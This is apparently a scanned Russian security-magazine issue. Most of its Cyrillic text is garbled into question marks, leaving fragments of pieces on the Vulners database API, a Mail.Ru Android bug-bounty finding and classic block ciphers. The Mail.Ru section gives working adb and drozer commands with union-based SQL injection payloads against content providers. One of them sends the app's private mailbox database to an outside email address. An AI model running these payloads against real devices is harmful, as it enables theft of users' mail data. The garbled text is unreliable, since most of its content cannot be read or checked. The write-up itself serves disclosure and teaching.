????? ?? ???????? Nessus ? ????? ?????????? ???? Vulners. ???, ??????
???? ??????? ?????? ????????? ??????????? ????????.
?????? ?????? ?? Nessus
????????? ?????????? ? GNU C Library
??? ???? ?????? ??????????? Vulners ? ??????????? ?????? ?? ???????????
????? ??? 13 000 ??????? Android-?????????? ?? Google Play! Store US ????? ???? HackApp. ??? ?????? ????? ??????? ??? type:hackapp. ????????? ??
???? ???? ????? ? ??????? Easy Hack ? ???? ?? ?????? ][.
?????? ? API
?? ?????? ????????? ?????? ???????? ???????? ?????? ????????? API. ? JSON
?????????? ?????? ? ?????????? ??????????? (size), ??????? ??????? ????????.
???????????? ?????? ?????? ? 10 000 ???????. ??????, ????? ??????? ???
????????? CentOS ?????. ? ????? ??????? ???-?? ?????? ???????, ?? ????????? ???, ????? ?????? ???????? ? ??????? ????????? skip.
????????? Vulners ?????????? Elasticsearch, ????? ?????? ??????????????
Apache Lucene. ? ??? ??????, ??? ??????? ? Vulners ???????? ????? ??? ??, ??? ?
Lucene. ????? ????? ??? ?????? ????? ?????? ? ????????? API. ????? ????
л?????╗ ??? ??????? ???? ?????????? ????? ???????????? ? ???????? л?????╗
? ??????? Lucene, ????????:
? title
? description
? affectedPackage
? sourceData
? cvelist
?????? ??????? ?? API, ??????? ?????? ?????? ?? CVE-2014-0160:
curl https://vulners.com/api/v3/search/lucene/?query=type:cve%20
id:CVE-2014-0160
?????? ????? ? JSON:
??? ??? TELEGRAM ? ?????????? ?? ?????????? ???????
? ?????? Vulners ????????? ???? ??? ??????????? Telegram:
??? ????????? ?????? ???????, ??? ?? ??? ?? ?????.
?? ??????? ? ? ??? ??????? ????? ????????? ????????????? ????????
?? security content.
???????????? ??????. ??????? ???? ????????? /subscribe ? ???? ????????? ?????? ? ??????? ????? ?????????? ??????, ??? ?????? ??? ????? ?????????? ?? Vulners.
???? ?????? ????? ?????? ???????????? ?????????? ? ????? ?????????? ????? ???????????. ?????? ?? ???????????? ????? ??????????? ?? ???????? ??
???????????? ???????????, ??????? ??????????. ?????????? ? ??????????
???????? ?????????? ?? ???????????? ??????????? ?? ????????.
?????? ??????????? ?????? ?????????? CVE? ??? ???????:
/subscribe type:cve
?????? ?????? ??????? ?? ???????????
/subscribe bulletinFamily:exploit
???? ??????? ???????? ??? Debian? ????? ?? ?? ?????????????!
/subscribe type:debian
? ? Vulners ???? ?????????????
Vulners ? ?? ???????????? ????????? ???????????. ????, ? ???????, ????
Secunia ? OSVDB, ?? ???? ????????? 5 ??????, ? ?????? ???????.
??? ?????????? ????????????? ??? ??? ?????, ?? ??? ?????? ?????? ???????? ????? ??????????? ? ?????? ?????? (??? ?????? ?? ??????????), ?? ? ??,
?????? ??????, ????????????? ?? ?????. ? ???? ?? л???? ?????? ????? ???????????? ??????????╗ ?? ????????????? ????????? API, ?? ???? ????????????
??? ? ?????????????????? ???????? ?? ?????????
??????
Vulners ? ?????????? ? ??????????? ???????? ?????? ?????? ? ???????????. ?? ????? ?????? ???????? ????? ??? ???????????? ? ???????????? ??????? ???????? ????. ???????, ?????????? ?????? ???????????, ?? ??? ?????? ??
?????? ????????. ? ??? ??? ????? ?????, Vulners ???????? ? ?????????? ???
????????? ???????????? ? ?????? ????? ?????.
??????, ??????????, ????????? ?? vulners.com, ????? ????????? ??
https://hackerone.com/vulnerscom. ?????? ????? ??? ??? ??????. ??? ???
?????? ??????????, ?? ? ?????????????? ??? ??????? ?????????????? ???, ??
public disclosure ???????????? ???????????. Email ??? ????? support@vulners.
com, ?????? ?????????? ?????? ?????. ?????!
?????
??????
???а??????
????????? ???????? ??????????
??аMAIL.RU ???аANDROID
?????? ???????
@cyberpunkych,
cyber-punk@xakep.ru
????????? ???????, ????? ????????? BugBounty, ? ??????????? ??а??????? ??????????? ?а?????????? ?????????? ???????? ??????? ??аIT-??????? Mail.Ru. ????????????
??????????? ??а???? ??????? ??а????????? ??а??????????
?????? ???? ?а????? ???????? ?а?????? ?????????????
??????????? ????????? ????? ?????? ??? ???? ??????????? SD-?????. ?а?????? ? ????? ??????, ?а???????
??????? ???? ??????? ??? ??????????, ???????????????
????? ?а????????? ?????? ?а????????????? ??а?????.
???????!
?????? ????? ???????????, ???????, ?????? (??? ????????), Android SDK
tools, ?????? ??? APK, drozer ?а????? ?????? ?????? ???а???????????? ?а??????? Java-????. ??а??? ???? ??а???????.
?????? ????? ???????????? SDK Tools ?а??????????? ??????/????????. ?
???? ????????????? ???????? ??????, ??а?????? ??????, ??? ??? ??? ???????,
?а??????а? ???? ?а?????????? ?????????? ???????! ????? ???? ??а?????????? ?????? ????????? ???? ?????, ??а???а?????????? ?а???????????? ??????
??????????? ??? ??а?????????.
????? ????????? SDK Tools ????????? ?а????????????? drozer ??а???????????? ???????????, ?????? APK-?????? ??а??????????. ???????, ?????????
?а???????? ????????????? ?????????, ????? ????????? ?????????????????а?
????????????, ????????? ???? (??? ?????? ?????????????, ???? ????????????
???????? ?????? ??а????? ????, ?а??а????????):
$ adb forward tcp:31415 tcp:31415
$ drozer console connect 127.0.0.1
?? ?а??????? ??, ?????? ??а?????????? ???? ?????????? ????? Mail.Ru, ??????? ????? ??????. ????????????? ?а????????????? ????????? ???а??????
??????? dex2jar. ???а????????? ?а?????? ??а?????????? ? ??????? ???????????? JD-GUI, ?? ??? ?????? ????? ????? ?????? ???????? ???? ??а???? ????.
??? ??????, ???????? ??????.
??? ??? ???????? ??????? ?????????? ??????? drozer??
???? ?????? ?????
?????? ???? ??а?????а? ????? ??????????, ?????????
?????? ?а???????? ????????. ???????? ??а????????????
??????????: ???? ??, ??а??? ????? ????? ??????????. ???????? ??? ???а?????? drozer?? ????????? ???????:
dz> run app.package.attacksurface ru.mailru.app
could not find the package: ru.mailru.app
dz> run app.package.attacksurface ru.mail.mailapp
Attack Surface:
26 activities exported
10 broadcast receivers exported
2 content providers exported
14 services exported
???а??????, ?а?????????? ???????? ????? ???????????????? ???????-???????????, ?а??? ? ?а????????? ??????
??????. ??????? run app.provider.info -a ru.mail.
mailapp ??????? ??? ?????? ??а???? ???????????:
INFO
???? ??????
???????????
??????????????
?????????? ???
????????? ????????
?а?????????????????
?????, ??????????
???а???? ??????
?? ?????? APK????? Mail.Ru,
?а??????? ? ????????
????????????.
?????, ??????,
??????? ????! :)
ru.mail.mailbox.contacts
ru.mail.mailapp.images.cache
??????, ????? ???????? ?????????????? ???????????? ?????????? drozer??
???а?????? ???????
dz> run scanner.provider.injection -a ru.mail.mailapp
??а? ??????????? ?????? ?????????? ??????, ??????? ?????? ??????? ???????? ?????? ???????-????????? ??????????????? ????? adb ???а?????? ??????? am start, ??????????? ??а??????????. ?????????, ??? ???а???????-????????? ?????????????, ????? root ??? ?????????????.
$ adb shell am start -d "content://ru.mail.mailapp.images.cache/
image_parameters/0\'"
Starting: Intent { dat=content://ru.mail.mailapp.images.cache/
image_parameters/0' }
???а????? ???????, ???????????? ????????? ???????, ??? ?? ?????? ?а??????
URL, ????? ??аActivity ?????????. ????? ???????? ???????? ????????, ????????? ??????? am ?????????? -n ?а????????? ?????? ??? ????????, ????????
ru.mail.mailapp/ru.mail.ui.writemail.SharingActivity. ??????????
??? ?? ?????????? ?а???????, ?а?? ?????? ?аlogcat, ????? ??????, ?а??? ????????.
??????????? ???????, ???????? ?????? SQL. ????????!
?а???????? ?а???, ??? ??? ???????? union-based SQL injection, ??????? ?????
???????????? ??????? ?????????? ?а???????? ????? (??? ??а????? ????????,
??? ?а?а????????? ???):
$ adb shell am start -d "content://ru.mail.mailapp.images.cache/
image_parameters/0\)\ union\ select\ 1,2,3,sqlite_version\(\),5,6,
7,8--\ /" -n ru.mail.mailapp/ru.mail.ui.writemail.SharingActivity
...
Starting: Intent { dat=content://ru.mail.mailapp.images.cache/
image_parameters/0) union select 1,2,3,sqlite_version(),5,6,7,8-/ cmp=ru.mail.mailapp/ru.mail.ui.writemail.SharingActivity }
$ adb logcat
...
E/BitmapFactory(15311): Unable to decode stream: java.io.FileNotFound
Exception: /3.8.6: open failed: ENOENT (No such file or directory)
???а?????????, SQL-???????? ????????? ??а?????? ?????? ???????-?????????, ??а??? ?а??????, ????????? ????????? ???????????. ??? ???? ?????
???????????? ????????? ??????:
$ adb shell am start -d "content://ru.mail.mailbox.contacts/account/
\'\)\ union\ select\ 1,2,3,4,3,6,7,8,9,10+" -n ru.mail.mailapp/
ru.mail.ui.writemail.SharingActivity
????? ??????, ?????? ??? ??????????, ????????? ?????????? ??????????????? ?а????????? ???? ?????????????????? ??????????. ????? ??????? ?а?????, ????????????? ??а?????? ru/mail/mailbox/content/contact/
ContactsProvider.java. ???а??????, ????????? ?????????? ???????
getContactAccount() ???????? ????? ?аSQL-??????, ??а??????? ??????? ????????,а? ??? ?а????????? ?????????????? ????????? ????????.
????????? union-based-???????? ?а???????? ????? ?а??????
???????????? ??????
??а????? ??? ???? ????, ? ????? ???????? ?????? ?????? ?а?????? ?????????? (????? ??????? ?а?а????? mailbox_db), ????????????? ?а????????? ?????
?а/data/data/ru.mail.mailapp/databases/, ??? ?????????? ?????? ???????? ??????????, ?а??? ????? ?????????? ?????. ???а????? ???? ????????
?????, ?????????? ????? ??а??????? ???????? ??а???? ??а???????????????
?а?????? ?????. ??? ???а?а????? ?????????? ???? ??????????, ?? ????? ??????? ????????? ?????? ?????????? л????? Mail.Ru╗ ?????, ???????? /data/
data/ru.mail.mailapp/databases/mailbox_db.
????? ????????? ?????? ??????, ????????, ????????? ???:
$ adb shell am start -d "content://ru.mail.mailbox.contacts/
account/\'\)\ union\ select\ 111,\'%2fdata%2fdata%2fru.mail.
mailapp%2fdatabases%2fmailbox_db\',333,444,555,666,777,888,99,
100500--+" -n ru.mail.mailapp/ru.mail.ui.writemail.SharingActivity
???? ??а????, ??? ???? ???????????? ?а???? ?????? ??? ???????? ??????, ????? ??????? ?????, ??? ??????
??????? ???????? ?а?? л??????????╗
?а?????? ???????????? ??? ??????.
??? ?? ??????, ??а??? ????? ?????,
????? ???????????? ???????? ??????
?????? ?а??????????? ??????...
??? ???а??? ???????? ????????? ???????????????? activity, ????? ??? ????? ?????????? ?????????а? ru.mail.ui.writemail.
MailToMySelfActivity, ??????? ???????? ??а?????????????? ???????? ????? л????╗. ?????????? ??? ?а???????? ??????? ?????, ????? ?????? ?????
???????????? ???а??????-???? ???????
??а??????? ????????????. ?????????
?а???? ?????????? ?????? ?а?а????????
extras ????????? ???? ????? ?а??????
?????? ???а????????. ??? ?????????,
??????, ????? ???? ???????? ???????
???????? ?а???????? ???? (?????????
?????? ??а??????). ??а? ?? ???-?? ???????? ?????? ?????? ?а???а?????????.
???????? ?????? ????? ????????
????????? ???????:
?????????? ????? ????????, ?????
???????, ????? ??????? ??а??? ????????
$ adb shell am start -W -a android.intent.action.SEND -e
android.support.v4.app.EXTRA_CALLING_PACKAGE "ru.mail.mailapp"
--ecn android.support.v4.app.EXTRA_CALLING_ACTIVITY "ru.mail.mailapp/
ru.mail.ui.writemail.MailToMySelfActivity" -d "content://ru.mail.
mailbox.contacts/account/\'\)\ union\ select\ 1,\'%2fdata%2fdata%2f
ru.mail.mailapp%2fdatabases%2fmailbox_db\',3,4,5,6,7,8,9,2--+" -e
android.intent.extra.TEXT "pew-pew" -e android.intent.extra.SUBJECT
"PWND" --esa android.intent.extra.EMAIL "cyber-punk@xakep.ru" -n
ru.mail.mailapp/ru.mail.ui.writemail.MailToMySelfActivity
??? EMAILа? ??? ???????? ????, ??а??????? ?????? ?????? ?а????????? ?????? (? ?????? ?????? ??? ???? /data/
data/ru.mail.mailapp/databases/
mailbox_db).
??? ?? ?????????? ????? ???????
?????? ???????? ?????????? ??????????, ????? SQL injection ?????? ????????? ????????? ???? ?а????????
???????? ?????? л?????? ????╗, ??а????????? ???а???? ???? ????????????
extras. ???????????? ?????? ????????? ????? ?????????? ??а?????.
????
????? ???????, ??, ????????? ????????? ???????, ????? ???аroot-????
??а?????? ????????? SQL-??????? ?а????????? ????????? ????????, ??а?а???????? ?а??????? ??? ?????, ?????????
??????????. ?????????, ??? ???а????? ??????? ??а????? ??????? ????????
??а????? ????????. ????? ????? ????????, ??? ???????????? ??? ????? ??????
????? ????????? ??????????, ????????????? ??а??????????. ??????????
????????? ?а???????? ???????? ??????? ????? ????? ?а?? ?????
???а?????????? ????????? ???? ????
??а?????? ????? ?????????? ??????
л?????????╗ ?????? ???????????? ?????????? ??а??????? ?????????? ????????? ??а?а??? ??а????????????? ?????????????.
???????????, ? ??????? ??? ???? ??????????? ?аBugBounty Mail.Ru, ??,
?а?????????, ?????????????? ??а???????, ?а??????????? ????? ??? ?????:
"Few mistakenly exported Content providers and activities are
reported to have vulnerabilities, allowing application data access
and manipulation. This report was marked as a duplicate due to
known fact activities and content providers are exported by mistake
(fix is under development)."
?????? ?????? ??????? ????????? ??аNone Applicable, ???? ?????????? ?а?????????????? ?а??????????? ?????????? ??а?????? ???????? ? ??а????,
??а?????????? ?????? ?????????? ?а????????? ?а???????? Mail.Ru ??? ??????
??а????? ???????. ???????, ??? ?????? ?а???? ????????? ????? ????, ?а?????
??????а? ?????! :)
?????
??????????
?а??????. ????? 4:
???????????
??????????
?????
??? ?????,
???а????????
?а?а??? ???????
????? 3DES, AES,
BLOWFISH, IDEA
?аTHREEFISH
??а????? ???????
????????? ?????????
anastasiya3161@gmail.com
?а??????? ??? ?? ???????????? ?а???????? ?а???????? ?????????????? ???????. ??? ??? ????? ?????????
????, ???? ??? ????????????? ????? ??а?????? ??????????????? ?????. ???????, ???? ?? ???????????? ?а???
????, ??????????! ??а????? ???? ??а????? ????????,
?а???? ??? ??а????? ??? ??????? ??????????? ?а??????????
?а????????????? ?????? ??????????а? ?? ???????? ??
??? ?????? (?? ??? ??а??????). ????????? ??а????? ??????? ?????????? ?????? ?а?????????, ???а?? ?? ????????? ??а????????.
Roadmap
??? ????????? ???? ??а????? л?????????? ?а??????╗. ??? ????? ????? ?а??????????????? ???????:
? ?
??? 1. ???????????? ?????: ??????, ???????????? ?????????, ???а???????? (? ?????????????) ????? ??????, ??????, ??????? ?????, ????
??????? ?а???????????? ??????
? ?
??? 2. ????????????? ??????: ??? ??? ?????, ???а??????????? ????????????? ?????? ?а???а??????? ????????????? ????
? ?
??? 3. ??????????? ????????????? ?????: ??? ????? ???? ????????, ?????? ?????? ????????????? ??????? ?????, ???????????? ?а???????????
??????????,а? ???? 28147?89, л????????╗
? ?
??? 4. ??????????? ?????????? ?????: ??? ?????, ???а???????? ?а?а???
??????? ????? 3DES, AES, Blowfish, IDEA, Threefish ??а????? ??????? (??
?????)
? ?
??? 5. ??????????? ???????: ???? ??, ???а??? ???????? ?а???а?? ????????????
? ?
??? 6. ????????? ????????????: ??? ??? ?????, ??? ???????????? ?а???а???????? ?а????????????? ????????? ??????, ????????? ????????? ?????
?а??????????? ???????
????? ??а????? ?а???? ?а?????????, ?????????? ???????? ?а?????? ???????
???????? ?а??????? ??????, ?а????? ????????????? ?а?????????????? ??????????, ?????? ?????? ?а???? ????????.
3DES
????, ?????? ?а???? ?????????? ?????? ?????????? 3DES, ?а?????? ???
?????????? ???????????? DES (Data Encryption Standard), ??????? ???? ???
?а??а???????????? ???а???????, ??а???????? ??????? 3DES.
DES ?????????? ???????? ??????????? ??????? ??????????? IBM, ?а??????? ?????? ??? ???????? ??? ????????. ?????? ?????? ????? ???????? ???
л???????╗, ??а????? ?? ??? ????????????? ?а?а?????????? ?????? ???а??????????? ???????? ?????????? ?????? (DEA). ??а?????????? ????? ???????? ??? ?? ????????? ??????? ??????????, ?????? ??? ??? ?????? Triple DES.
??????????, ???а???????? ???????? ?????????? DES. ???а????? ?????????? ????????? ?????? ???? ????????. DESа? ??? ???? ???????? ??а16 ??????? ?а????????????? ??????? ??????????. ????? ????? ??????а? 64 ????,
????? ?????????? ?????а? 48 ???. ????, ??????? ???????? ????? ?????????? DES, ??????? ??????? ?????????????? ???????:
1. ?
????, ???а?а???а????? ?????? ??????????, ??????????? ??а????? ??а64
????.
2. ??а56-??????? ????? ???????????? 16 48-?????? ????????? ????????.
3. ?
????? ???? ???????????? ????????????, ?? ???? ??? ???? ???????? ?????
?????????????? ???????? ???????????? ???????.
4. ?
??? ???????????? ??а????????? ?а????????? ?а???????? ??? ???? ????????, ??? ?????????????? 16 ???????.
5. ????????? ?????????.
6. ?а??? ???? ????????????.
????????? ?а???????? ???????????? ??а????? ???????? ???????? ???а???????????? ?аDES. ??? ????????????а? ???а??????, ?а??????? ???а??? ?????? ???????. ???????, ??а??????? ??? ???????? ?аDES, ??????, ?а??????????????
DES ??а???? ?????? ??а???????. ????? ????????????, ??? ???????? ????????????? ??????????? ?а?????????? ????????? (?? ?????) ?а??? ??? ??? ???????
???????????? ?????? ???? ?????????? ??????????? ????????????? ????????? ??????????.
???, ??????????, ???, ??? ???? ????? ?а?????? ????????? DES. ???? ??????????? ?а??, ???а???????? ???????, ???????? ?а???? ????????, ?? ?а??? ???
?????????. ??? ???????????? ?а????????????, ?а?????? (S-?????, ???а?? ?????? ??????? ??а?????????? ??????), ?а???????? ?а????????? ??????.
??а???????? ?а???????? DES, ??? Triple DES. ?а??? ???????? ?????????????, ??? ???а56-?????? ???? DES ??? ?????? ?а????????? ?а?а?????? ?????????????? ????????? ??? ???????? ???????? ??? ??????. ????????? ????????? ??????? ??????????, ????? ????????? ???? ??????? ?????? ?а???????.
??? ????????, ??? ??????????? ????? ??? ??? ?????? ???, ????? ?????????
??????????? DES, ????????? ????????? ?????? ?а????? ???????????.
??а???? ????? ????????? ?а????? ????????? ???????????? ????, ???????
????? ??????????? ???????????? ?????, ?? ?????? ????????? ??? ?????????
?????? ?????????????? ??а20 ?????. ????? ??? ?????? DES, ????????? ?????? ?????????? ????????? ?????????? ????????? ????????, ??а??? ??????
?????????. ??????????? ????????? ??? ?????? ?а1998 ????а? ?а????? ????
??а112 ?????.
????? ?????? ???????? ???????? ?????? ?????, ????? ??????????
??????????? ?????????? ???????????? ??? ????? ?а????????? DES ??????.
?????? ??????? DES ???????? ?????? ?а????? л??????? ??????????╗. ?????
??????????? ??? ?????, ?????????????? ??????????? ????? ???????? ?а??????????????? ??? ????????????? ?????. ????????????? ??????? ????????
????? ??а???? ????????? ??????, ????????? ?????????? ?а??????? 1. ?????
?????????????? ????????????? ????? ??а????? ?????????? ??????? ?а?????????? ????????? ?а??????? 2. ????? ????????????? ???? ?а???????? 1 ?а2
??????????. ????? ??????? ???? ??????????? ?а???????? ?????? ??а???????
???????????? ?а????????? ?????? ?а??????? ???????? ?а?????? ???? ?????? ??????????, ??? ??????? ???????? ????? DES, ?а???????? ????? ?????? ???а???????? ????????????? ???????????. ??? ??а????? ??а???????? ?????
???????????, ??? ?????? ???????? Double DES ???????????.
?????? ????? ???? ??????? ?аTriple DES. ????????????? ???? ?????? ?а?????????? ?????????? ?а????????? ??а????? ?????????????????? ???????? DES
????? ??? ??а????????? ???.
????????????? DES
??? ??? ?? ?аDES ?????? ??????????????? ???? ???????? ?????????? ??? ?????????? ??????????? ???????. DES ??????? ????? ????? ??????? ??????????
??????? ??????а? ??????????? ?а????????. ??????? ????? ????????? ????
????????????????? ????????!
???????? ?????? ????????, ??? ????????? ????????? ?а???????? ?????? (???
?????) ????? ??????? ???????????? ????????? ?а????????????? ??????.
???? ????????, ??? DES ????? ??? ???????? ????? ????????.
???????? ?????
0000000000000000
0000000000000001
????
22234512987ABB23
22234512987ABB23
????????????? ?????
4789FD476E82A5F1
OA4ED5C15A63FEA3
???? ??? ????? ????????? ?????? ??а????????? ?????? ????? ?????? ?????,
????? ?????????????? ?????? ?????????? ??а29 ???. ??? ????????, ??? ????????? ?????????????? ?а1,5% ????????? ?????? ???????? ????????? ?????????????? 45% ?????????????? ??????.
?????? ??????? ??????????? ?а???, ??? ?????? ??? ?????????????? ?????? ?????? ???????? ??а?????? ????? ????????? ??????. ???а?? ??? ????????,
?аDES ??????????? ?а????????????, ?а??????а? ??? ?????????????? ????????????? ??????????? ??????? ???? ??????????? ??а?????????? ????? ????????? ??????.
??? ?? ??????????? DES? ?? ????? ?????, ??? ?????????? ????????????
?а??????????? ??????????? ?????????. ?????? ??? ?????, ????????? ????????????? DES ????????? ?а???? ?????? ???? IBM ??????????, ??? ?????? ????????? ???? ??????????? 17 ????????-??? ???????????? ?????????????, ????????? ???? ?????????, ??а???????? ?? NSA ?а???????? ???????, ???????
????????? ????????? ????? ????????????? ????????????? ?????????. ??????? ??а???????? ?????? ???а????????? ?????? ???? ?????? ?, ??????????,
?????? ??а?????????, ????????? ?аNSA ???? ?????, ?????????? ????????????
??? ??а????? ???????????. ????? ??????, ?а??????? ??? ????? ?????????
????? ?а??????? ?????? ????, ????? ???????? DES ??? ???. ??, ???а? ??????,
????? ???????? ??????????? ?????????? л????? ??а??????, ????? ??а??????╗.
?а????? ?????? NSA ????????, ??? ??а????? ???????? IBM ????? ?????? ?????? ?а?????? ????????? ????????????? ????? ??????? S-??????.
??? ????? ????????????? DES ?? ??? ??????? ???а????????? ??????? ?????????????. ??????????????? ??а??????????? ???????? ????????
???а???????? DESа? ??а????? ????? ??? ?????? ??????????? ?????. ?а?????
?а???? ????????? ????????? ?????????? ????????? ??????????? ????? ?????????, ?а3DES ?????? ??а????? ?????????? ??а???.
AES
?????????? ???????? AES, ??????????? ?а????? 1997 ????, ???????? Rijndael
??? ?????????? ????? ???????????? ?????????????а? ?????? ???????
(Joan Daemen) ?а????????? ???????? (VincentRijmen).
???а??????????? ??????????????? ???????? Rijndael ???????? ?а???? ????????????? ??????, ?????? ??а??????? ??????? ??а?????, ????????????
?а??????????? ?????. ??????, ?а??????? ??аDES, ?????????? ?а????????????? ?а???? ?????????а? ????????? ??????.
AES ????????? 128-??????? ??????? ?????? ?а??????? ??а128, 192 ?а256
???. ????????????? ?? ?????????? ??аDES, ??? ???а??а?????????? ??а???? ????????, ?а???????????? ????? ?????????????-??????????????? ???? (SP-????),
??????? ?? ?????? ?????????? ?????????.
?аAES ????? ????????? ?????? ??а??????? ??а??? ?????, ???а?а???? ????????,
?а???????????? ?а?????а? ??????? (????????? ??????) ??????, ????????????? ????? ???????:
0
4
8
12
16
1
5
9
13
...
2
6
10
14
3
7
11
15
AES ????????? ?????????? ??????????:
1. ExpandKeyа? ?????????? ????????? ?????? ???а???? ???????.
2. SubBytesа? ?????? ????? ??а??????? ?????? (S-?????).
3. ShiftRowsа? ??????????? ????? ????? ?а????? ??а????????? ????????.
4. MixColumnsа? ?????????? ?????? ?????? ??????? ??????? ?????.
5. AddRoundKeyа? ???????? ????? ?????? ?а??????.
??????? AES ???????? ??????????? ?????????? ????????????? ???а???а????????????? ?????????? ?а??????????? ???????????. ?????????? ??? ????
??а????? ????????????? ?????????? ?????? ??а?????? ??????. ??? ???????? ???????????? AES, ?? ?а?а????, ???а?а??????????? ??????, ???? ????????? ??????????, ?а??????????????? ?????????? ?? ??????. ??????, ????????
??а???, AES ????? ???? ?????.
IDEA
IDEA (International Data Encryption Algorithm)а? ???????? ???????? ????????????? ??????????, ??????? ??? ????????? ??а?????? ????????? DES. ????????? ?????? ????????? IDEA ????????? ?а1990 ????. ???????? ????????????
?а???а?а?а??????????? ??????????? ?????. ??????? ???????? Ascom Tech,
??а?а?????????????? ????? ???????? ????? ???????????? ?????????.
?????? ????? ?а???? ?????а? 64 ????, ????? ?????а? 128. ????? ?????
???????, ??? ???????? IDEAа? ????? ??????? ??а????????????? ?а??? ?????????? ????? ??????. ??????? ?????????????????? ?????????.
????????а? ?????????? ?????? ???????? ??а????? ??????? ?а??????????
????????.
????????а? ?????? ??? ???????????????? ?????? ?????? ?????? ??а??????
??? ?????????????? ??????. ??????????????? ?????? ????????????????
???? ??а??????? ?????????? ????????????? ????? ???????? ??????????????
????????? ???????????????? ??????.
?аIDEA ??? ???????? ??????????? ??а???? ?????????? ??????????? ?????????????? ????????. ?а??????? ??аDES, ??????? ????????? ???????? ???????? XOR (???????? ??а?????? 2), IDEA ??????????????? ???????:
? XOR;
? ???????? ??а?????? 216;
? ????????? ??а?????? (216 + 1).
?????????????? ???? ???? ???????? ???????????? ??????????? ?????????????? ??????? ??????, ????????? ???????????? IDEA ??а????????? ?аDES.
?а????? IDEA ??????????? ?????? ???????, ?а?а?????? ?????? ???? ????????? ?????? ???????????? ?????????????? ??????????? ?????????????? ????????. ???????? л????? ?а??????╗ ????? ??????? ??а????? ?????? ?????? ????? IDEA, ??????????? ????. ???? ??????, ?????? 64 ????, ??????? ??а????????
??а16 ???. ?????? ????? ?????????? ?????? ????????? ??а???? ?????? ?а???????????? ???????? ??????????????.
???????????? IDEA
л??? ???????, ??? ????? ?????? ?а???????? ??????? ????????, ?????????????? ??а?????????? ???????╗,а? ??????? ???? ?????? ??а????????? IDEA.
?????????????, IDEA ?????????? ??????? ?????????? ????????? ?????
?????????????? ?????????????? ?????????. ????? ????, ?а????????????
??????? ????????? ????????? ??????? ???????? ????????????а? ????? ?а???
???? ????, ??? ?а????????? DES (? ??????????? ??а?????????, ??а??????? ??????????? ??????????). ?????? ???????? ??????????? ????????? ??-?? ??????? ???????? ??????????, ???????? ????????? ??а?????? (216 + 1).
??????????, ?а??а???? ??????? ???? ?????? ??????????? ???????? ???????? ???????????? ?????. ?????? ?????? ??? ?????, ??????? ?????????? ?????,
???????????, ??? ?????????????? ??а????? ??????? ??????? ?а???????? ?????
(????????, ???? ?????? ?а?????-???? ?????????? ????????? ??? ?????-?????), ??а????? ???????? ???????????? ??????? ????????? ????????? ?????.
???????? IDEA ??а???? ????????????? ?????????? ??????????, ???а????
?????? ??? ??????. ?????? ??? ????? ??????? ????? ??а???????? ???????????????? ?а???? ?????????? ??????????. IDEA ???????????? ?? ?????????
??????????, ?а??? ????? ?а?????? ????????? ?а???????????????? ?????????
?????? ?????? PGP.
???? ????? ???????
???? ??????а? ?????? ?????? ???????????? ????? ????. ?? ???????? ??????? ?а???????? ?а??????????, ??? ????? ?????????? ??????????? ???, ??? ????????? ????? ????????????. ?а??????? ??, ????? ????????? ??????? ??а????? ??
????? ?????????? ???а?????а? ?? ??? ?????? ?а?????? ???????????????????.
?? ??????? ???????????? ?а?????? ??а????? ????????? ??? ?????а? ??????????? ?????????? Blowfish, Twofish ?аThreefish.
Blowfish
?????? ??а???? ???????? Blowfish. ???а??????? ??? ??????, ???? ????????
??? ?????????? ???а?????????? ??а??????? ????????????????. ??????? ??
????????? (????? 5 ????? ??????) ?а????? (?????????? ??????? ?????????????? ????????а? ????????, XOR ?а??????? ??а???????). ????? ???????? ????????? ??????????? ????? ????? (?? 448 ???).
??а32-?????? ??????????? Blowfish ????????? ?????????? ???????????
???????, ?????? DES, ?????? ??а???????????????? ?????? ?а???? ????? ???????????? ?? ??а????? ????????. ?а?????? Blowfish ???? ???????? ??а16 ???????, ??????? ?? ??? ?????? ?????? ????????.
???????? ?????????? ?а????????? ??????????? ????????? (FolderBolt,
Nautilus, PGPfone), ?????? ?????? ?? ??? ?????? ???? ????????????.
Twofish
??а?????? ????? ????????? ??? ???а? ????? ???????? Twofish ??? ?????????? ???????? ?а????????? ???а??????? ?а???????? AES. ?????? ??????? ????? ?а??????? ??????????, ?????? ??????????? ??? ?а??а?????, ???? ????????
???а????? ????? ?????????? ???????. ???:
? 128-?????? ??????? ???????????? ????;
? ????? ??????: 128, 192 ?а256 ???;
? ??????????? ??????????? (? ?????? ??????? ??а32-?????? ???????????)
?а?????????? ??????????;
? ???????? (??????????? ????????????? ????? ??????? ?????, ???????????? ???а????????? ??????????, ???-??????? ?а??? ?????);
? ???????? ?????????а? ??? ?????? ?????????????.
?????? ??а????????? ?аRijndael, ???????? ????????? AES, Twofish ??? ?????
??????? ???а??????? ?а??????? ????? ?????? ????????? ??????????. ?????????? ???? ???????? ??а?????? Blowfish ?а?????????? ???????????? ?а?????
???????????? ????? ???? ????????.
??а???????? ???? ????????? ????????? ????? ?????????????. ??а????????? ?а?????????? ??????????? ???????? AES?? ???????? ????? ???????.
?????? ??? ????????? ???????? ?а????????????? ????????? ???????? ????????? ???????? ?а???????? ???? ?????????. ??а?????? ?????? Twofish ???????????? ??? ????, ??? ??? ??????????????.
Threefish
л?а?????? ??? ??????? ?????? ?а???? ?????...╗ ?а?????? ??? ?????? ?????????
???? Threefish. ??а???? ??? ?????? ????? ??????????? AES ?а???? ??? ?????????? ??????????? ?????. ?????????? ??а???? ????? ??а?????? ???? ????????, ?а?????????? ???? ??а?????? ?????????????-??????????????? ????
(SP-????), ???а?аAES. ????? ???? ???????? ??а?????????? ???????? ???????????? ???, ???????? ?а???????????? ??????. ?а?????????? ???? ??? ??? ???????? ???:
??а???? ??????? ???????? Threefish ??????????? ????????? ?а???????? AES.
????? ????, ??а?????????? ???????, ???????? ????? ????? ??????? ???????
????????????, ??? AES. ?????????? ????? ??а25 ??а72 ??????? Threefish, ?а??
????? ???а???аAESа? ??а6 ??а10. ??? ??? ???? ?????? ???????-???? ????? ??????, ???? ?а?а??????????.
???? ???????? ??????? ???а???????? ???-??????? Skein, ??????? ??????????? ?а???????? ??а????????? SHA-3. ??? Threefish ?????? ????????????
?а?????????? ?а??????????? ???а?????? ?????? ????????????????.
??????
?а?????????? ????? ???????, ??? ??? ???????? ???????????, ???????, ???????, ??????????? ????? ?а????????? ??????? ????????? ?????????? ??????????. ?????-?? ????? ???????, ?????-?? ????? ???????. ??а???? ??? ????? ?????????? ?? ?аDES ?аAES, ?????? ??? ??? ????????.
?а????????? ?????? ???????????? ?а???????????? ?????????, ?????
???????? ?а?????? ????????? ????????????.
?????
??????? лD1g1╗ ?????????,
Digital Security
@evdokimovds
???? ??? ?????? ? ??????? ????????????
WARNING
????????! ??????????
????????????
????????????? ?а?????
????????????! ??а??????,
?? ???????? ?? ????
???????? ???????????????
